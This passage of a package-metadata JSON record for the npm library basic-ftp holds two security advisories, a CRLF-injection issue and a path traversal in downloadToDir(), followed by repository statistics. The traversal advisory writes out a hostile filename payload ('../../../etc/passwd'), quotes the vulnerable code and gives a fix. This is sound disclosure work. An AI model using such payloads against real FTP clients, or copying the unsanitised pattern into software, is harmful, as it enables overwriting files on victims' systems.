pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-08T20:02:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q","https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-39983","https://github.com/advisories/GHSA-chqc-8p9q-pq6q"],"source_kind":"github","identifiers":["GHSA-chqc-8p9q-pq6q","CVE-2026-39983"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T21:00:09.780Z","updated_at":"2026-06-22T16:01:44.098Z","epss_percentage":0.01945,"epss_percentile":0.7755,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.1","vulnerable_version_range":"= 5.2.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","url":"https://github.com/advisories/GHSA-5rq4-664w-9x2c","title":"Basic FTP has Path Traversal Vulnerability in its downloadToDir() method","description":"The `basic-ftp` library contains a path traversal vulnerability in the `downloadToDir()` method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (`../`) that cause files to be written outside the intended download directory.\n\n\n## Source-to-Sink Flow\n\n```\n1. SOURCE: FTP server sends LIST response\n└─\u003e \"-rw-r--r-- 1 user group 1024 Jan 20 12:00 ../../../etc/passwd\"\n\n2. PARSER: parseListUnix.ts:100 extracts filename\n└─\u003e file.name = \"../../../etc/passwd\"\n\n3. VALIDATION: parseListUnix.ts:101 checks\n└─\u003e if (name === \".\" || name === \"..\") ❌ (only filters exact matches)\n└─\u003e \"../../../etc/passwd\" !== \".\" \u0026\u0026 !== \"..\" ✅ PASSES\n\n4. SINK: Client.ts:707 uses filename directly\n└─\u003e const localPath = join(localDirPath, file.name)\n└─\u003e join(\"/safe/download\", \"../../../etc/passwd\")\n└─\u003e Result: \"/safe/download/../../../etc/passwd\" → resolves to \"/etc/passwd\"\n\n5. FILE WRITE: Client.ts:512 opens file\n└─\u003e fsOpen(localPath, \"w\") → writes to /etc/passwd (outside intended directory)\n```\n\n## Vulnerable Code\n\n**File**: `src/Client.ts:707`\n\n```typescript\nprotected async _downloadFromWorkingDir(localDirPath: string): Promise\u003cvoid\u003e {\nawait ensureLocalDirectory(localDirPath)\nfor (const file of await this.list()) {\nconst localPath = join(localDirPath, file.name) // ⚠️ VULNERABLE\n// file.name comes from untrusted FTP server, no sanitization\nawait this.downloadTo(localPath, file.name)\n}\n}\n```\n\n**Root Cause**:\n- Parser validation (`parseListUnix.ts:101`) only filters exact `.` or `..` entries\n- No sanitization of `../` sequences in filenames\n- `path.join()` doesn't prevent traversal, `fs.open()` resolves paths\n\n\n# Impact\n\nA malicious FTP server can:\n- Write files to arbitrary locations on the client filesystem\n- Overwrite critical system files (if user has write access)\n- Potentially achieve remote code execution\n\n## Affected Versions\n\n- **Tested**: v5.1.0\n- **Likely**: All versions (code pattern exists since initial implementation)\n\n## Mitigation\n\n**Workaround**: Do not use `downloadToDir()` with untrusted FTP servers.\n\n**Fix**: Sanitize filenames before use:\n\n```typescript\nimport { basename } from 'path'\n\n// In _downloadFromWorkingDir:\nconst sanitizedName = basename(file.name) // Strip path components\nconst localPath = join(localDirPath, sanitizedName)\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-25T22:34:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5rq4-664w-9x2c","https://nvd.nist.gov/vuln/detail/CVE-2026-27699","https://github.com/patrickjuchli/basic-ftp/commit/2a2a0e6514357b9eda07c2f8afbd3f04727a7cd9","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","https://github.com/advisories/GHSA-5rq4-664w-9x2c"],"source_kind":"github","identifiers":["GHSA-5rq4-664w-9x2c","CVE-2026-27699"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T23:00:07.186Z","updated_at":"2026-06-22T16:02:38.019Z","epss_percentage":0.00528,"epss_percentile":0.40439,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.0","vulnerable_version_range":"\u003c 5.2.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/basic-ftp","docker_dependents_count":819,"docker_downloads_count":2145156376,"usage_url":"https://repos.ecosyste.ms/usage/npm/basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/basic-ftp/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-05-23T02:12:01.171Z","issues_count":124,"pull_requests_count":29,"avg_time_to_close_issue":9842234.788990825,"avg_time_to_close_pull_request":17463565.47826087,"issues_closed_count":109,"pull_requests_closed_count":23,"pull_request_authors_count":18,"issue_authors_count":107,"avg_comments_per_issue":2.838709677419355,"avg_comments_per_pull_request":1.6206896551724137,"merged_pull_requests_count":10,"bot_issues_count":0,"bot_pull_requests_count":8,"past_year_issues_count":6,"past_year_pull_requests_count":7,"past_year_avg_time_to_close_issue":6077651.666666667,"past_year_avg_time_to_close_pull_request":2512404.75,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":4,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":5,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.1428571428571428,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":4,"past_year_merged_pull_requests_count":1,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/codemeta","maintainers":[{"uuid":"patrickjuchli","login":"patrickjuchli","name":null,"email":"patrickjuchli@gmail.com","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~patrickjuchli","role":null,"created_at":"2022-11-11T13:50:28.626Z","updated_at":"2022-11-11T13:50:28.626Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/patrickjuchli/packages"}]}